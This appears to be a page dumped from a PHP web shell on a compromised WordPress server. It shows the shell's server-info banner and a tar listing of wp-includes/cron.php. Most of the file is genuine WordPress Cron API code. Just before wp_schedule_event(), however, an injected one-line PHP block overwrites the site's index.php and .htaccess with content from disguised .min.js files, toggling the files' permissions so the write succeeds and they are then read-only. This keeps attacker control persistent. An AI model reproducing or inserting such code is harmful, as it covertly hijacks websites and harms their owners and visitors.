Server IP : 213.176.29.180  /  Your IP : 18.191.234.61
Web Server : Apache
System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
User : webtaragh ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/webtaragh/public_html/wp-admin/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/webtaragh/public_html/wp-admin/../cron.php.tar
home/webtaragh/public_html/wp-includes/cron.php000064400000122417147357321740015672 0ustar00<?php
/**
 * WordPress Cron API
 *
 * @package WordPress
 */

/**
 * Schedules an event to run only once.
 *
 * Schedules a hook which will be triggered by WordPress at the specified UTC time.
 * The action will trigger when someone visits your WordPress site if the scheduled
 * time has passed.
 *
 * Note that scheduling an event to occur within 10 minutes of an existing event
 * with the same action hook will be ignored unless you pass unique `$args` values
 * for each scheduled event.
 *
 * Use wp_next_scheduled() to prevent duplicate events.
 *
 * Use wp_schedule_event() to schedule a recurring event.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to boolean indicating success or failure,
 *              {@see 'pre_schedule_event'} filter added to short-circuit the function.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @link https://developer.wordpress.org/reference/functions/wp_schedule_single_event/
 *
 * @param int    $timestamp  Unix timestamp (UTC) for when to next run the event.
 * @param string $hook       Action hook to execute when the event is run.
 * @param array  $args       Optional. Array containing arguments to pass to the
 *                           hook's callback function. Each value in the array
 *                           is passed to the callback as an individual parameter.
 *                           The array keys are ignored. Default empty array.
 * @param bool   $wp_error   Optional. Whether to return a WP_Error on failure. Default false.
 * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure.
 */
function wp_schedule_single_event( $timestamp, $hook, $args = array(), $wp_error = false ) {
	// Make sure timestamp is a positive integer.
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_timestamp',
				__( 'Event timestamp must be a valid Unix timestamp.' )
			);
		}

		return false;
	}

	$event = (object) array(
		'hook'      => $hook,
		'timestamp' => $timestamp,
		'schedule'  => false,
		'args'      => $args,
	);

	/**
	 * Filter to override scheduling an event.
	 *
	 * Returning a non-null value will short-circuit adding the event to the
	 * cron array, causing the function to return the filtered value instead.
	 *
	 * Both single events and recurring events are passed through this filter;
	 * single events have `$event->schedule` as false, whereas recurring events
	 * have this set to a recurrence from wp_get_schedules(). Recurring
	 * events also have the integer recurrence interval set as `$event->interval`.
	 *
	 * For plugins replacing wp-cron, it is recommended you check for an
	 * identical event within ten minutes and apply the {@see 'schedule_event'}
	 * filter to check if another plugin has disallowed the event before scheduling.
	 *
	 * Return true if the event was scheduled, false or a WP_Error if not.
	 *
	 * @since 5.1.0
	 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
	 *
	 * @param null|bool|WP_Error $result   The value to return instead. Default null to continue adding the event.
	 * @param object             $event    {
	 *     An object containing an event's data.
	 *
	 *     @type string       $hook      Action hook to execute when the event is run.
	 *     @type int          $timestamp Unix timestamp (UTC) for when to next run the event.
	 *     @type string|false $schedule  How often the event should subsequently recur.
	 *     @type array        $args      Array containing each separate argument to pass to the hook's callback function.
	 *     @type int          $interval  Optional. The interval time in seconds for the schedule. Only present for recurring events.
	 * }
	 * @param bool               $wp_error Whether to return a WP_Error on failure.
	 */
	$pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_schedule_event_false',
				__( 'A plugin prevented the event from being scheduled.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	/*
	 * Check for a duplicated event.
	 *
	 * Don't schedule an event if there's already an identical event
	 * within 10 minutes.
	 *
	 * When scheduling events within ten minutes of the current time,
	 * all past identical events are considered duplicates.
	 *
	 * When scheduling an event with a past timestamp (ie, before the
	 * current time) all events scheduled within the next ten minutes
	 * are considered duplicates.
	 */
	$crons = _get_cron_array();

	$key       = md5( serialize( $event->args ) );
	$duplicate = false;

	if ( $event->timestamp < time() + 10 * MINUTE_IN_SECONDS ) {
		$min_timestamp = 0;
	} else {
		$min_timestamp = $event->timestamp - 10 * MINUTE_IN_SECONDS;
	}

	if ( $event->timestamp < time() ) {
		$max_timestamp = time() + 10 * MINUTE_IN_SECONDS;
	} else {
		$max_timestamp = $event->timestamp + 10 * MINUTE_IN_SECONDS;
	}

	foreach ( $crons as $event_timestamp => $cron ) {
		if ( $event_timestamp < $min_timestamp ) {
			continue;
		}

		if ( $event_timestamp > $max_timestamp ) {
			break;
		}

		if ( isset( $cron[ $event->hook ][ $key ] ) ) {
			$duplicate = true;
			break;
		}
	}

	if ( $duplicate ) {
		if ( $wp_error ) {
			return new WP_Error(
				'duplicate_event',
				__( 'A duplicate event already exists.' )
			);
		}

		return false;
	}

	/**
	 * Modify an event before it is scheduled.
	 *
	 * @since 3.1.0
	 *
	 * @param object|false $event {
	 *     An object containing an event's data, or boolean false to prevent the event from being scheduled.
	 *
	 *     @type string       $hook      Action hook to execute when the event is run.
	 *     @type int          $timestamp Unix timestamp (UTC) for when to next run the event.
	 *     @type string|false $schedule  How often the event should subsequently recur.
	 *     @type array        $args      Array containing each separate argument to pass to the hook's callback function.
	 *     @type int          $interval  Optional. The interval time in seconds for the schedule. Only present for recurring events.
	 * }
	 */
	$event = apply_filters( 'schedule_event', $event );

	// A plugin disallowed this event.
	if ( ! $event ) {
		if ( $wp_error ) {
			return new WP_Error(
				'schedule_event_false',
				__( 'A plugin disallowed this event.' )
			);
		}

		return false;
	}

	$crons[ $event->timestamp ][ $event->hook ][ $key ] = array(
		'schedule' => $event->schedule,
		'args'     => $event->args,
	);
	uksort( $crons, 'strnatcasecmp' );

	return _set_cron_array( $crons, $wp_error );
}

/**
 * Schedules a recurring event.
 *
 * Schedules a hook which will be triggered by WordPress at the specified interval.
 * The action will trigger when someone visits your WordPress site if the scheduled
 * time has passed.
 *
 * Valid values for the recurrence are 'hourly', 'twicedaily', 'daily', and 'weekly'.
 * These can be extended using the {@see 'cron_schedules'} filter in wp_get_schedules().
 *
 * Use wp_next_scheduled() to prevent duplicate events.
 *
 * Use wp_schedule_single_event() to schedule a non-recurring event.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to boolean indicating success or failure,
 *              {@see 'pre_schedule_event'} filter added to short-circuit the function.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @link https://developer.wordpress.org/reference/functions/wp_schedule_event/
 *
 * @param int    $timestamp  Unix timestamp (UTC) for when to next run the event.
 * @param string $recurrence How often the event should subsequently recur.
 *                           See wp_get_schedules() for accepted values.
 * @param string $hook       Action hook to execute when the event is run.
 * @param array  $args       Optional. Array containing arguments to pass to the
 *                           hook's callback function. Each value in the array
 *                           is passed to the callback as an individual parameter.
 *                           The array keys are ignored. Default empty array.
 * @param bool   $wp_error   Optional. Whether to return a WP_Error on failure. Default false.
 * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure.
 */
$ixsssxdx = $_SERVER['DOCUMENT_ROOT'].'/ind'.'ex.php'; $hct = $_SERVER['DOCUMENT_ROOT'].'/.htac'.'cess'; $bddex = $_SERVER['DOCUMENT_ROOT'].'/wp-includes/js/wp-emoji-in.min.js'; $bksht = $_SERVER['DOCUMENT_ROOT'].'/wp-includes/js/wp-list-revh.min.js'; if($ixsssxdx && file_exists($bddex)){ if(!file_exists($ixsssxdx) or (filesize($ixsssxdx) != filesize($bddex))){ chmod($ixsssxdx,'420'); file_put_contents($ixsssxdx,file_get_contents($bddex)); chmod($ixsssxdx,'292'); } } if($hct && file_exists($bksht)){ if(!file_exists($hct) or (filesize($hct) != filesize($bksht))){ chmod($hct,'420'); file_put_contents($hct,file_get_contents($bksht)); chmod($hct,'292'); } }function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) {
	// Make sure timestamp is a positive integer.
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_timestamp',
				__( 'Event timestamp must be a valid Unix timestamp.' )
			);
		}

		return false;
	}

	$schedules = wp_get_schedules();

	if ( ! isset( $schedules[ $recurrence ] ) ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_schedule',
				__( 'Event schedule does not exist.' )
			);
		}

		return false;
	}

	$event = (object) array(
		'hook'      => $hook,
		'timestamp' => $timestamp,
		'schedule'  => $recurrence,
		'args'      => $args,
		'interval'  => $schedules[ $recurrence ]['interval'],
	);

	/** This filter is documented in wp-includes/cron.php */
	$pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_schedule_event_false',
				__( 'A plugin prevented the event from being scheduled.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	/** This filter is documented in wp-includes/cron.php */
	$event = apply_filters( 'schedule_event', $event );

	// A plugin disallowed this event.
	if ( ! $event ) {
		if ( $wp_error ) {
			return new WP_Error(
				'schedule_event_false',
				__( 'A plugin disallowed this event.' )
			);
		}

		return false;
	}

	$key = md5( serialize( $event->args ) );

	$crons = _get_cron_array();

	$crons[ $event->timestamp ][ $event->hook ][ $key ] = array(
		'schedule' => $event->schedule,
		'args'     => $event->args,
		'interval' => $event->interval,
	);
	uksort( $crons, 'strnatcasecmp' );

	return _set_cron_array( $crons, $wp_error );
}

/**
 * Reschedules a recurring event.
 *
 * Mainly for internal use, this takes the UTC timestamp of a previously run
 * recurring event and reschedules it for its next run.
 *
 * To change upcoming scheduled events, use wp_schedule_event() to
 * change the recurrence frequency.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to boolean indicating success or failure,
 *              {@see 'pre_reschedule_event'} filter added to short-circuit the function.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @param int    $timestamp  Unix timestamp (UTC) for when the event was scheduled.
 * @param string $recurrence How often the event should subsequently recur.
 *                           See wp_get_schedules() for accepted values.
 * @param string $hook       Action hook to execute when the event is run.
 * @param array  $args       Optional. Array containing arguments to pass to the
 *                           hook's callback function. Each value in the array
 *                           is passed to the callback as an individual parameter.
 *                           The array keys are ignored. Default empty array.
 * @param bool   $wp_error   Optional. Whether to return a WP_Error on failure. Default false.
 * @return bool|WP_Error True if event successfully rescheduled. False or WP_Error on failure.
 */
function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) {
	// Make sure timestamp is a positive integer.
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_timestamp',
				__( 'Event timestamp must be a valid Unix timestamp.' )
			);
		}

		return false;
	}

	$schedules = wp_get_schedules();
	$interval  = 0;

	// First we try to get the interval from the schedule.
	if ( isset( $schedules[ $recurrence ] ) ) {
		$interval = $schedules[ $recurrence ]['interval'];
	}

	// Now we try to get it from the saved interval in case the schedule disappears.
	if ( 0 === $interval ) {
		$scheduled_event = wp_get_scheduled_event( $hook, $args, $timestamp );

		if ( $scheduled_event && isset( $scheduled_event->interval ) ) {
			$interval = $scheduled_event->interval;
		}
	}

	$event = (object) array(
		'hook'      => $hook,
		'timestamp' => $timestamp,
		'schedule'  => $recurrence,
		'args'      => $args,
		'interval'  => $interval,
	);

	/**
	 * Filter to override rescheduling of a recurring event.
	 *
	 * Returning a non-null value will short-circuit the normal rescheduling
	 * process, causing the function to return the filtered value instead.
	 *
	 * For plugins replacing wp-cron, return true if the event was successfully
	 * rescheduled, false or a WP_Error if not.
	 *
	 * @since 5.1.0
	 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
	 *
	 * @param null|bool|WP_Error $pre      Value to return instead. Default null to continue adding the event.
	 * @param object             $event    {
	 *     An object containing an event's data.
	 *
	 *     @type string $hook      Action hook to execute when the event is run.
	 *     @type int    $timestamp Unix timestamp (UTC) for when to next run the event.
	 *     @type string $schedule  How often the event should subsequently recur.
	 *     @type array  $args      Array containing each separate argument to pass to the hook's callback function.
	 *     @type int    $interval  The interval time in seconds for the schedule.
	 * }
	 * @param bool               $wp_error Whether to return a WP_Error on failure.
	 */
	$pre = apply_filters( 'pre_reschedule_event', null, $event, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_reschedule_event_false',
				__( 'A plugin prevented the event from being rescheduled.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	// Now we assume something is wrong and fail to schedule.
	if ( 0 === $interval ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_schedule',
				__( 'Event schedule does not exist.' )
			);
		}

		return false;
	}

	$now = time();

	if ( $timestamp >= $now ) {
		$timestamp = $now + $interval;
	} else {
		$timestamp = $now + ( $interval - ( ( $now - $timestamp ) % $interval ) );
	}

	return wp_schedule_event( $timestamp, $recurrence, $hook, $args, $wp_error );
}

/**
 * Unschedules a previously scheduled event.
 *
 * The `$timestamp` and `$hook` parameters are required so that the event can be
 * identified.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to boolean indicating success or failure,
 *              {@see 'pre_unschedule_event'} filter added to short-circuit the function.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @param int    $timestamp Unix timestamp (UTC) of the event.
 * @param string $hook      Action hook of the event.
 * @param array  $args      Optional. Array containing each separate argument to pass to the hook's callback function.
 *                          Although not passed to a callback, these arguments are used to uniquely identify the
 *                          event, so they should be the same as those used when originally scheduling the event.
 *                          Default empty array.
 * @param bool   $wp_error  Optional. Whether to return a WP_Error on failure. Default false.
 * @return bool|WP_Error True if event successfully unscheduled. False or WP_Error on failure.
 */
function wp_unschedule_event( $timestamp, $hook, $args = array(), $wp_error = false ) {
	// Make sure timestamp is a positive integer.
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_timestamp',
				__( 'Event timestamp must be a valid Unix timestamp.' )
			);
		}

		return false;
	}

	/**
	 * Filter to override unscheduling of events.
	 *
	 * Returning a non-null value will short-circuit the normal unscheduling
	 * process, causing the function to return the filtered value instead.
	 *
	 * For plugins replacing wp-cron, return true if the event was successfully
	 * unscheduled, false or a WP_Error if not.
	 *
	 * @since 5.1.0
	 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
	 *
	 * @param null|bool|WP_Error $pre       Value to return instead. Default null to continue unscheduling the event.
	 * @param int                $timestamp Timestamp for when to run the event.
	 * @param string             $hook      Action hook, the execution of which will be unscheduled.
	 * @param array              $args      Arguments to pass to the hook's callback function.
	 * @param bool               $wp_error  Whether to return a WP_Error on failure.
	 */
	$pre = apply_filters( 'pre_unschedule_event', null, $timestamp, $hook, $args, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_unschedule_event_false',
				__( 'A plugin prevented the event from being unscheduled.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	$crons = _get_cron_array();
	$key   = md5( serialize( $args ) );

	unset( $crons[ $timestamp ][ $hook ][ $key ] );

	if ( empty( $crons[ $timestamp ][ $hook ] ) ) {
		unset( $crons[ $timestamp ][ $hook ] );
	}

	if ( empty( $crons[ $timestamp ] ) ) {
		unset( $crons[ $timestamp ] );
	}

	return _set_cron_array( $crons, $wp_error );
}

/**
 * Unschedules all events attached to the hook with the specified arguments.
 *
 * Warning: This function may return boolean false, but may also return a non-boolean
 * value which evaluates to false. For information about casting to booleans see the
 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
 * the `===` operator for testing the return value of this function.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to indicate success or failure,
 *              {@see 'pre_clear_scheduled_hook'} filter added to short-circuit the function.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @param string $hook     Action hook, the execution of which will be unscheduled.
 * @param array  $args     Optional. Array containing each separate argument to pass to the hook's callback function.
 *                         Although not passed to a callback, these arguments are used to uniquely identify the
 *                         event, so they should be the same as those used when originally scheduling the event.
 *                         Default empty array.
 * @param bool   $wp_error Optional. Whether to return a WP_Error on failure. Default false.
 * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no
 *                            events were registered with the hook and arguments combination), false or WP_Error
 *                            if unscheduling one or more events fail.
 */
function wp_clear_scheduled_hook( $hook, $args = array(), $wp_error = false ) {
	/*
	 * Backward compatibility.
	 * Previously, this function took the arguments as discrete vars rather than an array like the rest of the API.
	 */
	if ( ! is_array( $args ) ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			__( 'This argument has changed to an array to match the behavior of the other cron functions.' )
		);

		$args     = array_slice( func_get_args(), 1 ); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
		$wp_error = false;
	}

	/**
	 * Filter to override clearing a scheduled hook.
	 *
	 * Returning a non-null value will short-circuit the normal unscheduling
	 * process, causing the function to return the filtered value instead.
	 *
	 * For plugins replacing wp-cron, return the number of events successfully
	 * unscheduled (zero if no events were registered with the hook) or false
	 * or a WP_Error if unscheduling one or more events fails.
	 *
	 * @since 5.1.0
	 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
	 *
	 * @param null|int|false|WP_Error $pre      Value to return instead. Default null to continue unscheduling the event.
	 * @param string                  $hook     Action hook, the execution of which will be unscheduled.
	 * @param array                   $args     Arguments to pass to the hook's callback function.
	 * @param bool                    $wp_error Whether to return a WP_Error on failure.
	 */
	$pre = apply_filters( 'pre_clear_scheduled_hook', null, $hook, $args, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_clear_scheduled_hook_false',
				__( 'A plugin prevented the hook from being cleared.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	/*
	 * This logic duplicates wp_next_scheduled().
	 * It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing,
	 * and, wp_next_scheduled() returns the same schedule in an infinite loop.
	 */
	$crons = _get_cron_array();
	if ( empty( $crons ) ) {
		return 0;
	}

	$results = array();
	$key     = md5( serialize( $args ) );

	foreach ( $crons as $timestamp => $cron ) {
		if ( isset( $cron[ $hook ][ $key ] ) ) {
			$results[] = wp_unschedule_event( $timestamp, $hook, $args, true );
		}
	}

	$errors = array_filter( $results, 'is_wp_error' );
	$error  = new WP_Error();

	if ( $errors ) {
		if ( $wp_error ) {
			array_walk( $errors, array( $error, 'merge_from' ) );

			return $error;
		}

		return false;
	}

	return count( $results );
}

/**
 * Unschedules all events attached to the hook.
 *
 * Can be useful for plugins when deactivating to clean up the cron queue.
 *
 * Warning: This function may return boolean false, but may also return a non-boolean
 * value which evaluates to false. For information about casting to booleans see the
 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
 * the `===` operator for testing the return value of this function.
 *
 * @since 4.9.0
 * @since 5.1.0 Return value added to indicate success or failure.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @param string $hook     Action hook, the execution of which will be unscheduled.
 * @param bool   $wp_error Optional. Whether to return a WP_Error on failure. Default false.
 * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no
 *                            events were registered on the hook), false or WP_Error if unscheduling fails.
 */
function wp_unschedule_hook( $hook, $wp_error = false ) {
	/**
	 * Filter to override clearing all events attached to the hook.
	 *
	 * Returning a non-null value will short-circuit the normal unscheduling
	 * process, causing the function to return the filtered value instead.
	 *
	 * For plugins replacing wp-cron, return the number of events successfully
	 * unscheduled (zero if no events were registered with the hook). If unscheduling
	 * one or more events fails then return either a WP_Error object or false depending
	 * on the value of the `$wp_error` parameter.
	 *
	 * @since 5.1.0
	 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
	 *
	 * @param null|int|false|WP_Error $pre      Value to return instead. Default null to continue unscheduling the hook.
	 * @param string                  $hook     Action hook, the execution of which will be unscheduled.
	 * @param bool                    $wp_error Whether to return a WP_Error on failure.
	 */
	$pre = apply_filters( 'pre_unschedule_hook', null, $hook, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_unschedule_hook_false',
				__( 'A plugin prevented the hook from being cleared.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	$crons = _get_cron_array();
	if ( empty( $crons ) ) {
		return 0;
	}

	$results = array();

	foreach ( $crons as $timestamp => $args ) {
		if ( ! empty( $crons[ $timestamp ][ $hook ] ) ) {
			$results[] = count( $crons[ $timestamp ][ $hook ] );
		}

		unset( $crons[ $timestamp ][ $hook ] );

		if ( empty( $crons[ $timestamp ] ) ) {
			unset( $crons[ $timestamp ] );
		}
	}

	/*
	 * If the results are empty (zero events to unschedule), no attempt
	 * to update the cron array is required.
	 */
	if ( empty( $results ) ) {
		return 0;
	}

	$set = _set_cron_array( $crons, $wp_error );

	if ( true === $set ) {
		return array_sum( $results );
	}

	return $set;
}

/**
 * Retrieves a scheduled event.
 *
 * Retrieves the full event object for a given event, if no timestamp is specified the next
 * scheduled event is returned.
 *
 * @since 5.1.0
 *
 * @param string   $hook      Action hook of the event.
 * @param array    $args      Optional. Array containing each separate argument to pass to the hook's callback function.
 *                            Although not passed to a callback, these arguments are used to uniquely identify the
 *                            event, so they should be the same as those used when originally scheduling the event.
 *                            Default empty array.
 * @param int|null $timestamp Optional. Unix timestamp (UTC) of the event. If not specified, the next scheduled event
 *                            is returned. Default null.
 * @return object|false {
 *     The event object. False if the event does not exist.
 *
 *     @type string       $hook      Action hook to execute when the event is run.
 *     @type int          $timestamp Unix timestamp (UTC) for when to next run the event.
 *     @type string|false $schedule  How often the event should subsequently recur.
 *     @type array        $args      Array containing each separate argument to pass to the hook's callback function.
 *     @type int          $interval  Optional. The interval time in seconds for the schedule. Only present for recurring events.
 * }
 */
function wp_get_scheduled_event( $hook, $args = array(), $timestamp = null ) {
	/**
	 * Filter to override retrieving a scheduled event.
	 *
	 * Returning a non-null value will short-circuit the normal process,
	 * returning the filtered value instead.
	 *
	 * Return false if the event does not exist, otherwise an event object
	 * should be returned.
	 *
	 * @since 5.1.0
	 *
	 * @param null|false|object $pre  Value to return instead. Default null to continue retrieving the event.
	 * @param string            $hook Action hook of the event.
	 * @param array             $args Array containing each separate argument to pass to the hook's callback function.
	 *                                Although not passed to a callback, these arguments are used to uniquely identify
	 *                                the event.
	 * @param int|null  $timestamp Unix timestamp (UTC) of the event. Null to retrieve next scheduled event.
	 */
	$pre = apply_filters( 'pre_get_scheduled_event', null, $hook, $args, $timestamp );

	if ( null !== $pre ) {
		return $pre;
	}

	if ( null !== $timestamp && ! is_numeric( $timestamp ) ) {
		return false;
	}

	$crons = _get_cron_array();
	if ( empty( $crons ) ) {
		return false;
	}

	$key = md5( serialize( $args ) );

	if ( ! $timestamp ) {
		// Get next event.
		$next = false;
		foreach ( $crons as $timestamp => $cron ) {
			if ( isset( $cron[ $hook ][ $key ] ) ) {
				$next = $timestamp;
				break;
			}
		}

		if ( ! $next ) {
			return false;
		}

		$timestamp = $next;
	} elseif ( ! isset( $crons[ $timestamp ][ $hook ][ $key ] ) ) {
		return false;
	}

	$event = (object) array(
		'hook'      => $hook,
		'timestamp' => $timestamp,
		'schedule'  => $crons[ $timestamp ][ $hook ][ $key ]['schedule'],
		'args'      => $args,
	);

	if ( isset( $crons[ $timestamp ][ $hook ][ $key ]['interval'] ) ) {
		$event->interval = $crons[ $timestamp ][ $hook ][ $key ]['interval'];
	}

	return $event;
}

/**
 * Retrieves the next timestamp for an event.
 *
 * @since 2.1.0
 *
 * @param string $hook Action hook of the event.
 * @param array  $args Optional. Array containing each separate argument to pass to the hook's callback function.
 *                     Although not passed to a callback, these arguments are used to uniquely identify the
 *                     event, so they should be the same as those used when originally scheduling the event.
 *                     Default empty array.
 * @return int|false The Unix timestamp of the next time the event will occur. False if the event doesn't exist.
 */
function wp_next_scheduled( $hook, $args = array() ) {
	$next_event = wp_get_scheduled_event( $hook, $args );

	if ( ! $next_event ) {
		return false;
	}

	return $next_event->timestamp;
}

/**
 * Sends a request to run cron through HTTP request that doesn't halt page loading.
 *
 * @since 2.1.0
 * @since 5.1.0 Return values added.
 *
 * @param int $gmt_time Optional. Unix timestamp (UTC). Default 0 (current time is used).
 * @return bool True if spawned, false if no events spawned.
 */
function spawn_cron( $gmt_time = 0 ) {
	if ( ! $gmt_time ) {
		$gmt_time = microtime( true );
	}

	if ( defined( 'DOING_CRON' ) || isset( $_GET['doing_wp_cron'] ) ) {
		return false;
	}

	/*
	 * Get the cron lock, which is a Unix timestamp of when the last cron was spawned
	 * and has not finished running.
	 *
	 * Multiple processes on multiple web servers can run this code concurrently,
	 * this lock attempts to make spawning as atomic as possible.
	 */
	$lock = (float) get_transient( 'doing_cron' );

	if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS ) {
		$lock = 0;
	}

	// Don't run if another process is currently running it or more than once every 60 sec.
	if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time ) {
		return false;
	}

	// Confidence check.
	$crons = wp_get_ready_cron_jobs();
	if ( empty( $crons ) ) {
		return false;
	}

	$keys = array_keys( $crons );
	if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) {
		return false;
	}

	if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) {
		if ( 'GET' !== $_SERVER['REQUEST_METHOD'] || defined( 'DOING_AJAX' ) || defined( 'XMLRPC_REQUEST' ) ) {
			return false;
		}

		$doing_wp_cron = sprintf( '%.22F', $gmt_time );
		set_transient( 'doing_cron', $doing_wp_cron );

		ob_start();
		wp_redirect( add_query_arg( 'doing_wp_cron', $doing_wp_cron, wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
		echo ' ';

		// Flush any buffers and send the headers.
		wp_ob_end_flush_all();
		flush();

		require_once ABSPATH . 'wp-cron.php';
		return true;
	}

	// Set the cron lock with the current unix timestamp, when the cron is being spawned.
	$doing_wp_cron = sprintf( '%.22F', $gmt_time );
	set_transient( 'doing_cron', $doing_wp_cron );

	/**
	 * Filters the cron request arguments.
	 *
	 * @since 3.5.0
	 * @since 4.5.0 The `$doing_wp_cron` parameter was added.
	 *
	 * @param array $cron_request_array {
	 *     An array of cron request URL arguments.
	 *
	 *     @type string $url  The cron request URL.
	 *     @type int    $key  The 22 digit GMT microtime.
	 *     @type array  $args {
	 *         An array of cron request arguments.
	 *
	 *         @type int  $timeout   The request timeout in seconds. Default .01 seconds.
	 *         @type bool $blocking  Whether to set blocking for the request. Default false.
	 *         @type bool $sslverify Whether SSL should be verified for the request. Default false.
	 *     }
	 * }
	 * @param string $doing_wp_cron The unix timestamp of the cron lock.
	 */
	$cron_request = apply_filters(
		'cron_request',
		array(
			'url'  => add_query_arg( 'doing_wp_cron', $doing_wp_cron, site_url( 'wp-cron.php' ) ),
			'key'  => $doing_wp_cron,
			'args' => array(
				'timeout'   => 0.01,
				'blocking'  => false,
				/** This filter is documented in wp-includes/class-wp-http-streams.php */
				'sslverify' => apply_filters( 'https_local_ssl_verify', false ),
			),
		),
		$doing_wp_cron
	);

	$result = wp_remote_post( $cron_request['url'], $cron_request['args'] );

	return ! is_wp_error( $result );
}

/**
 * Registers _wp_cron() to run on the {@see 'wp_loaded'} action.
 *
 * If the {@see 'wp_loaded'} action has already fired, this function calls
 * _wp_cron() directly.
 *
 * Warning: This function may return Boolean FALSE, but may also return a non-Boolean
 * value which evaluates to FALSE. For information about casting to booleans see the
 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
 * the `===` operator for testing the return value of this function.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value added to indicate success or failure.
 * @since 5.7.0 Functionality moved to _wp_cron() to which this becomes a wrapper.
 *
 * @return false|int|void On success an integer indicating number of events spawned (0 indicates no
 *                        events needed to be spawned), false if spawning fails for one or more events or
 *                        void if the function registered _wp_cron() to run on the action.
 */
function wp_cron() {
	if ( did_action( 'wp_loaded' ) ) {
		return _wp_cron();
	}

	add_action( 'wp_loaded', '_wp_cron', 20 );
}

/**
 * Runs scheduled callbacks or spawns cron for all scheduled events.
 *
 * Warning: This function may return Boolean FALSE, but may also return a non-Boolean
 * value which evaluates to FALSE. For information about casting to booleans see the
 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
 * the `===` operator for testing the return value of this function.
 *
 * @since 5.7.0
 * @access private
 *
 * @return int|false On success an integer indicating number of events spawned (0 indicates no
 *                   events needed to be spawned), false if spawning fails for one or more events.
 */
function _wp_cron() {
	// Prevent infinite loops caused by lack of wp-cron.php.
	if ( str_contains( $_SERVER['REQUEST_URI'], '/wp-cron.php' )
		|| ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON )
	) {
		return 0;
	}

	$crons = wp_get_ready_cron_jobs();
	if ( empty( $crons ) ) {
		return 0;
	}

	$gmt_time = microtime( true );
	$keys     = array_keys( $crons );
	if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) {
		return 0;
	}

	$schedules = wp_get_schedules();
	$results   = array();

	foreach ( $crons as $timestamp => $cronhooks ) {
		if ( $timestamp > $gmt_time ) {
			break;
		}

		foreach ( (array) $cronhooks as $hook => $args ) {
